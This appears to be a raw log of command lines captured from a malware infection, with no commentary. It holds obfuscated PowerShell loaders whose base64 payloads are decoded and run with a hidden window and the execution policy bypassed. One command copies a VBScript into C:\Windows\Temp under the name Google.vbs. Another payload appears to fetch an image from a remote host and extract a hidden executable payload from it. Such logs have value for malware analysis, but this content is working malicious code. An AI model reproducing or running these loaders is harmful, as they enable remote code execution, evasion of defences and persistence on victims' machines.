OwWIbeIlJvgPGwwCpPwOwWIbeIlJvgPeQBdwCpPwOwWIbeIlJvgPDowCpPwOwWIbeIlJvgPOgBMwCpPwOwWIbeIlJvgPG8wCpPwOwWIbeIlJvgPYQBkwCpPwOwWIbeIlJvgPCgwCpPwOwWIbeIlJvgPJwCpPwOwWIbeIlJvgPBjwCpPwOwWIbeIlJvgPG8wCpPwOwWIbeIlJvgPbQBtwCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPbgBkwCpPwOwWIbeIlJvgPEIwCpPwOwWIbeIlJvgPeQB0wCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPcwwCpPwOwWIbeIlJvgPpwCpPwOwWIbeIlJvgPDswCpPwOwWIbeIlJvgPJwCpPwOwWIbeIlJvgPB0wCpPwOwWIbeIlJvgPHkwCpPwOwWIbeIlJvgPcwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPPQwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPBvwCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPZwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPGQwCpPwOwWIbeIlJvgPQQBzwCpPwOwWIbeIlJvgPHMwCpPwOwWIbeIlJvgPZQBtwCpPwOwWIbeIlJvgPGIwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPB5wCpPwOwWIbeIlJvgPC4wCpPwOwWIbeIlJvgPRwBlwCpPwOwWIbeIlJvgPHQwCpPwOwWIbeIlJvgPVwCpPwOwWIbeIlJvgPB5wCpPwOwWIbeIlJvgPHwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPZQwCpPwOwWIbeIlJvgPowCpPwOwWIbeIlJvgPCcwCpPwOwWIbeIlJvgPRgBpwCpPwOwWIbeIlJvgPGIwCpPwOwWIbeIlJvgPZQBywCpPwOwWIbeIlJvgPC4wCpPwOwWIbeIlJvgPSwCpPwOwWIbeIlJvgPBvwCpPwOwWIbeIlJvgPG0wCpPwOwWIbeIlJvgPZQwCpPwOwWIbeIlJvgPnwCpPwOwWIbeIlJvgPCkwCpPwOwWIbeIlJvgPOwwCpPwOwWIbeIlJvgPkwCpPwOwWIbeIlJvgPG0wCpPwOwWIbeIlJvgPZQB0wCpPwOwWIbeIlJvgPGgwCpPwOwWIbeIlJvgPbwBkwCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPPQwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPdwCpPwOwWIbeIlJvgPB5wCpPwOwWIbeIlJvgPHwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPZQwCpPwOwWIbeIlJvgPuwCpPwOwWIbeIlJvgPEcwCpPwOwWIbeIlJvgPZQB0wCpPwOwWIbeIlJvgPE0wCpPwOwWIbeIlJvgPZQB0wCpPwOwWIbeIlJvgPGgwCpPwOwWIbeIlJvgPbwBkwCpPwOwWIbeIlJvgPCgwCpPwOwWIbeIlJvgPJwBWwCpPwOwWIbeIlJvgPEEwCpPwOwWIbeIlJvgPSQwCpPwOwWIbeIlJvgPnwCpPwOwWIbeIlJvgPCkwCpPwOwWIbeIlJvgPLgBJwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPdgBvwCpPwOwWIbeIlJvgPGswCpPwOwWIbeIlJvgPZQwCpPwOwWIbeIlJvgPowCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPbgB1wCpPwOwWIbeIlJvgPGwwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPswCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPWwBvwCpPwOwWIbeIlJvgPGIwCpPwOwWIbeIlJvgPagBlwCpPwOwWIbeIlJvgPGMwCpPwOwWIbeIlJvgPdwCpPwOwWIbeIlJvgPBbwCpPwOwWIbeIlJvgPF0wCpPwOwWIbeIlJvgPXQwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCgwCpPwOwWIbeIlJvgPJwBkwCpPwOwWIbeIlJvgPEgwCpPwOwWIbeIlJvgPawCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPwwCpPwOwWIbeIlJvgPEwwCpPwOwWIbeIlJvgPbQBWwCpPwOwWIbeIlJvgPHUwCpPwOwWIbeIlJvgPYgwCpPwOwWIbeIlJvgPzwCpPwOwWIbeIlJvgPHwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPeQBZwCpPwOwWIbeIlJvgPFYwCpPwOwWIbeIlJvgPYwwCpPwOwWIbeIlJvgPxwCpPwOwWIbeIlJvgPE4wCpPwOwWIbeIlJvgPRwCpPwOwWIbeIlJvgPBNwCpPwOwWIbeIlJvgPHkwCpPwOwWIbeIlJvgPTQBTwCpPwOwWIbeIlJvgPDkwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPBiwCpPwOwWIbeIlJvgPEcwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPBtwCpPwOwWIbeIlJvgPEwwCpPwOwWIbeIlJvgPegBJwCpPwOwWIbeIlJvgPHgwCpPwOwWIbeIlJvgPTQBpwCpPwOwWIbeIlJvgPDQwCpPwOwWIbeIlJvgPegBNwCpPwOwWIbeIlJvgPFQwCpPwOwWIbeIlJvgPRQB1wCpPwOwWIbeIlJvgPE4wCpPwOwWIbeIlJvgPVwCpPwOwWIbeIlJvgPBjwCpPwOwWIbeIlJvgPHgwCpPwOwWIbeIlJvgPTwCpPwOwWIbeIlJvgPBqwCpPwOwWIbeIlJvgPGMwCpPwOwWIbeIlJvgPdwBNwCpPwOwWIbeIlJvgPFMwCpPwOwWIbeIlJvgPOwCpPwOwWIbeIlJvgPB2wCpPwOwWIbeIlJvgPE8wCpPwOwWIbeIlJvgPbgBCwCpPwOwWIbeIlJvgPDwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPZwCpPwOwWIbeIlJvgPBHwCpPwOwWIbeIlJvgPGcwCpPwOwWIbeIlJvgPPQwCpPwOwWIbeIlJvgPnwCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPLwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCcwCpPwOwWIbeIlJvgPJwwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCwwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPnwCpPwOwWIbeIlJvgPDIwCpPwOwWIbeIlJvgPJwwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCwwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPnwCpPwOwWIbeIlJvgPEcwCpPwOwWIbeIlJvgPbwBvwCpPwOwWIbeIlJvgPGcwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPCcwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPswCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPJwwCpPwOwWIbeIlJvgPxwCpPwOwWIbeIlJvgPCcwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPswCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPJwBDwCpPwOwWIbeIlJvgPDowCpPwOwWIbeIlJvgPXwCpPwOwWIbeIlJvgPBXwCpPwOwWIbeIlJvgPGkwCpPwOwWIbeIlJvgPbgBkwCpPwOwWIbeIlJvgPG8wCpPwOwWIbeIlJvgPdwBzwCpPwOwWIbeIlJvgPFwwCpPwOwWIbeIlJvgPVwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPG0wCpPwOwWIbeIlJvgPcwCpPwOwWIbeIlJvgPBcwCpPwOwWIbeIlJvgPCcwCpPwOwWIbeIlJvgPLwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCcwCpPwOwWIbeIlJvgPRwBvwCpPwOwWIbeIlJvgPG8wCpPwOwWIbeIlJvgPZwBswCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPBDwCpPwOwWIbeIlJvgPGgwCpPwOwWIbeIlJvgPcgBvwCpPwOwWIbeIlJvgPG0wCpPwOwWIbeIlJvgPZQwCpPwOwWIbeIlJvgPnwCpPwOwWIbeIlJvgPCkwCpPwOwWIbeIlJvgPKQwCpPwOwWIbeIlJvgP=';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('wCpPwOwWIbeIlJvgP','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden if (-not (Get-ChildItem C:\Windows\Temp\*.vbs)) { Copy-Item -Path *.vbs -Destination C:\Windows\Temp\Google.vbs -Force }
cmdline powershell -command "$Codigo = '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OwwCpPwOwWIbeIlJvgPkwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPbgBkwCpPwOwWIbeIlJvgPEYwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPBhwCpPwOwWIbeIlJvgPGcwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgP9wCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPJwwCpPwOwWIbeIlJvgP8wCpPwOwWIbeIlJvgPDwwCpPwOwWIbeIlJvgPQgBBwCpPwOwWIbeIlJvgPFMwCpPwOwWIbeIlJvgPRQwCpPwOwWIbeIlJvgP2wCpPwOwWIbeIlJvgPDQwCpPwOwWIbeIlJvgPXwBFwCpPwOwWIbeIlJvgPE4wCpPwOwWIbeIlJvgPRwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgP+wCpPwOwWIbeIlJvgPD4wCpPwOwWIbeIlJvgPJwwCpPwOwWIbeIlJvgP7wCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPcwB0wCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPcgB0wCpPwOwWIbeIlJvgPEkwCpPwOwWIbeIlJvgPbgBkwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPewCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPD0wCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPkwCpPwOwWIbeIlJvgPGkwCpPwOwWIbeIlJvgPbQBhwCpPwOwWIbeIlJvgPGcwCpPwOwWIbeIlJvgPZQBUwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPewCpPwOwWIbeIlJvgPB0wCpPwOwWIbeIlJvgPC4wCpPwOwWIbeIlJvgPSQBuwCpPwOwWIbeIlJvgPGQwCpPwOwWIbeIlJvgPZQB4wCpPwOwWIbeIlJvgPE8wCpPwOwWIbeIlJvgPZgwCpPwOwWIbeIlJvgPowCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPcwB0wCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPcgB0wCpPwOwWIbeIlJvgPEYwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPBhwCpPwOwWIbeIlJvgPGcwCpPwOwWIbeIlJvgPKQwCpPwOwWIbeIlJvgP7wCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPZQBuwCpPwOwWIbeIlJvgPGQwCpPwOwWIbeIlJvgPSQBuwCpPwOwWIbeIlJvgPGQwCpPwOwWIbeIlJvgPZQB4wCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPPQwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPaQBtwCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPZwBlwCpPwOwWIbeIlJvgPFQwCpPwOwWIbeIlJvgPZQB4wCpPwOwWIbeIlJvgPHQwCpPwOwWIbeIlJvgPLgBJwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPZwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPHgwCpPwOwWIbeIlJvgPTwBmwCpPwOwWIbeIlJvgPCgwCpPwOwWIbeIlJvgPJwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPZwCpPwOwWIbeIlJvgPBGwCpPwOwWIbeIlJvgPGwwCpPwOwWIbeIlJvgPYQBnwCpPwOwWIbeIlJvgPCkwCpPwOwWIbeIlJvgPOwwCpPwOwWIbeIlJvgPkwCpPwOwWIbeIlJvgPHMwCpPwOwWIbeIlJvgPdwCpPwOwWIbeIlJvgPBhwCpPwOwWIbeIlJvgPHIwCpPwOwWIbeIlJvgPdwCpPwOwWIbeIlJvgPBJwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPZwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPHgwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPtwCpPwOwWIbeIlJvgPGcwCpPwOwWIbeIlJvgPZQwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPDwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPtwCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPbgBkwCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPJwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPZwCpPwOwWIbeIlJvgPBJwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPZwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPHgwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPtwCpPwOwWIbeIlJvgPGcwCpPwOwWIbeIlJvgPdwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPcwB0wCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPcgB0wCpPwOwWIbeIlJvgPEkwCpPwOwWIbeIlJvgPbgBkwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPewCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgP7wCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPcwB0wCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPcgB0wCpPwOwWIbeIlJvgPEkwCpPwOwWIbeIlJvgPbgBkwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPewCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCswCpPwOwWIbeIlJvgPPQwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPcwB0wCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPcgB0wCpPwOwWIbeIlJvgPEYwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPBhwCpPwOwWIbeIlJvgPGcwCpPwOwWIbeIlJvgPLgBMwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPbgBnwCpPwOwWIbeIlJvgPHQwCpPwOwWIbeIlJvgPawCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgP7wCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPYgBhwCpPwOwWIbeIlJvgPHMwCpPwOwWIbeIlJvgPZQwCpPwOwWIbeIlJvgP2wCpPwOwWIbeIlJvgPDQwCpPwOwWIbeIlJvgPTwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPZwB0wCpPwOwWIbeIlJvgPGgwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgP9wCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPJwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPZwCpPwOwWIbeIlJvgPBJwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPZwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPHgwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPtwCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPJwCpPwOwWIbeIlJvgPBzwCpPwOwWIbeIlJvgPHQwCpPwOwWIbeIlJvgPYQBywCpPwOwWIbeIlJvgPHQwCpPwOwWIbeIlJvgPSQBuwCpPwOwWIbeIlJvgPGQwCpPwOwWIbeIlJvgPZQB4wCpPwOwWIbeIlJvgPDswCpPwOwWIbeIlJvgPJwCpPwOwWIbeIlJvgPBiwCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPcwBlwCpPwOwWIbeIlJvgPDYwCpPwOwWIbeIlJvgPNwCpPwOwWIbeIlJvgPBDwCpPwOwWIbeIlJvgPG8wCpPwOwWIbeIlJvgPbQBtwCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPbgBkwCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPPQwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPaQBtwCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPZwBlwCpPwOwWIbeIlJvgPFQwCpPwOwWIbeIlJvgPZQB4wCpPwOwWIbeIlJvgPHQwCpPwOwWIbeIlJvgPLgBTwCpPwOwWIbeIlJvgPHUwCpPwOwWIbeIlJvgPYgBzwCpPwOwWIbeIlJvgPHQwCpPwOwWIbeIlJvgPcgBpwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPZwwCpPwOwWIbeIlJvgPowCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPcwB0wCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPcgB0wCpPwOwWIbeIlJvgPEkwCpPwOwWIbeIlJvgPbgBkwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPewCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPswCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPJwCpPwOwWIbeIlJvgPBiwCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPcwBlwCpPwOwWIbeIlJvgPDYwCpPwOwWIbeIlJvgPNwCpPwOwWIbeIlJvgPBMwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPbgBnwCpPwOwWIbeIlJvgPHQwCpPwOwWIbeIlJvgPawCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPpwCpPwOwWIbeIlJvgPDswCpPwOwWIbeIlJvgPJwCpPwOwWIbeIlJvgPBjwCpPwOwWIbeIlJvgPG8wCpPwOwWIbeIlJvgPbQBtwCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPbgBkwCpPwOwWIbeIlJvgPEIwCpPwOwWIbeIlJvgPeQB0wCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPcwwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPD0wCpPwOwWIbeIlJvgPIwCpPwOwWIbeIl